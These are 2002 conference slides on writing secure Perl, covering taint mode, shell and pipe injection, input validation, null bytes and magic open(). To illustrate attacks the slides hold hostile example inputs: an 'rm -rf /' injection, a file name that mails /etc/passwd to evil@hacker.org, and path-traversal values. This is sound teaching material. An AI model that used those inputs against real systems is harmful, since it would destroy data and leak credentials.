# Writing Secure Perl Programs

## Peter Haworth

pmh@cpan.org

IOP Publishing Ltd.

O'Reilly Open Source Convention July 22-26, 2002

# Outline

- Robustness
- Tainting
- Child processes
- Validate all user input
- Filenames
- Magic `open()`
- Web applications
- Safe sequence numbers
- Dynamic method names

# Introduction

## Don't trust the user

- Implicit trust -> eventual disaster
- No trust -> more safety

# Robustness

- `use strict`
- `use warnings`
- Check return codes of system calls

      open STDOUT,'> write-protected';

- Handle ``impossible cases'' explicitly

      if( $x == 1 ){
        do_this();
      }elsif( $x == 2 ){
        do_that();
      }

- `perl -T`

# Tainting

- Data from external sources is tainted

      $^X  @ARGV  %ENV
      <>  read()  readline()  `` qx()    etc
      shmread()  msgrcv()  getpw*()      etc

- All data derived from tainted data is also tainted
- Tainted data can't affect external sources

      `` qx()  system()  exec()
      kill()
      unlink()  mkdir()  umask()  chmod()    etc
      open() (for writing)  NOT print() or write()

- `$1`, `$2`, etc are (almost) never tainted

      my($untainted) = $tainted =~ /(\d+)/;

# Child processes

- Sanitise the environment

      %ENV=( PATH => '/bin:/usr/bin' );

- Additional `%ENV` taint checks

      PATH IFS CDPATH ENV BASH_ENV

- Don't invoke the shell

      # Unsafe:    $file eq "; rm -rf /"
      system "prog $file"      and die;

      # Safe
      system "prog \Q$file\E"  and die;

      # No shell, and less taint checks (for now)
      system '/bin/prog',$file and die;

# Child processes - Safe pipes

- Unsafe

      open my $fh,"| mail $user" or die;
      print $fh $msg;
      close $fh or die;

- Safe, but invokes the shell

      open my $fh,"| /bin/mail \Q$user\E" or die;
      print $fh $msg;
      close $fh or die;

- Safe and efficient

      defined(my $pid=open my $fh,'|-') or die;
      if(!$pid){
        exec '/bin/mail',$user;
        die "Can't exec";
      }
      print $fh $msg;
      close $fh or die;

- Perl 5.8.0 - safe and programmer-efficient

      open my $fh,'|-','/bin/mail',$user or die;
      print $fh $msg;
      close $fh or die;

# Validate all user input

- Allow safe; don't disallow unsafe

      die "Bad!" if /[;<>&^"']/;     # Bad!

      die "Bad!" unless /\A[\w\s]+\z/; # Good

- Check allowed ranges

      my ($num) = $input =~ /\A(\d+)\z/
        or die "Not an integer";

      $num >= 0 && $num <= 100
        or die "Out of range";

- Make tests consistent

# Filenames

- Poison null byte

      # Unsafe if $filename eq "/etc/passwd\0"
      open my $fh, '<', "$filename.safe"
        or die "Invalid filename";

      # Safer
      die "Invalid filename"
        if $filename =~ /\0/;
      open my $fh, '<', "$filename.safe"
        or die "Invalid filename";

- Don't allow paths

      # Prevents ../../../../etc/passwd
      die "Invalid filename"
        if $filename =~ m#/#;

- Allow safe; don't disallow unsafe

      die "Invalid filename"
        unless $filename =~ /\A\w+\z/;

# Magic `open()`

- `open FH,$fname;`
Full magic

      > /etc/passwd
      mail evil@hacker.org < /etc/passwd |

- `open FH,"< $fname";`
Slightly magical

      -f $fname;   # May be a different file

- `open FH,"< ./$fname\0";`
No magic

- `my $fh=IO::File->new($fname,'<');`
No magic, lexical filehandle

- `open my $fh,'<',$fname;`
As above, with perl 5.6.0

# Web applications - HTML forms

- Hidden fields aren't secure

      <input type="hidden" name="password"
        value="secret">

- Expect multiple values

      # Unsafe
      # fname=stuff&fname=action&fname=delete
      %config = (
        action => 'create',
        filename => $cgi->param('fname'),
      );

      # Safe
      $sth->execute(
        scalar $cgi->param('fname')
      );

- Expect the unexpected

# Web applications - Cookies

- Mostly like hidden fields
- Message digest adds security

      # Standard with perl 5.8.0
      use Digest::MD5 qw(md5_hex);

      $cookie_val = $val . md5_hex(
        md5_hex($val . $secret1) . $secret2
      );

- Check expiry dates

# Safe sequence numbers

Not like this!

        my $seqn=$dbh->selectrow_array(q(
          select max(key_field)
          from table1
        ));

Let the database do it for you

        my $seqn=$dbh->selectall_arrayref(q(
          select nextval('name_of_sequence')
        ))->[0][0];

Or do it yourself

        sub nextval{
          my($name)=@_;
          $name=~/\A\w+\z/       or die "Bad sequence name";

          my $fh=IO::File->new("/path/$name",O_RDWR|O_CREAT)
                                 or die "Can't open: $!";
          flock $fh,LOCK_EX      or die "Can't lock: $!";
          chomp(my $next=<$fh>);
          ++$next;
          seek $fh,0,0           or die "Can't rewind: $!";
          print $fh "$next\n"    or die "Can't write: $!";
          close $fh              or die "Can't close: $!";

          return $next;
        }

# Dynamic method names

## `$obj -> $meth ()`

- Works if `$meth` is a method name

      my $meth = 'do_stuff';
      $obj -> $meth ();     # $obj->do_stuff()

- Works across packages

      my $meth = 'Other::Pkg::do_stuff';
      $obj -> $meth ();

- Taint checks don't protect
- Restrict the user's choice

      if( $meth =~ /\A\w+\z/
        and my $ref = $obj->can("safe_$meth")
      ){
        $obj -> $ref ();
      }

# References

http://www.dwheeler.com/secure-programs/
  Secure programming for Linux/Unix

http://www.w3.org/Security/Faq/
  WWW Security FAQ

`perldoc perlsec`
  Perl documentation on tainting

$CPAN/authors/id/P/PM/PMH/secprog-tpc2002.tgz
  Latest version of these slides and speaker's notes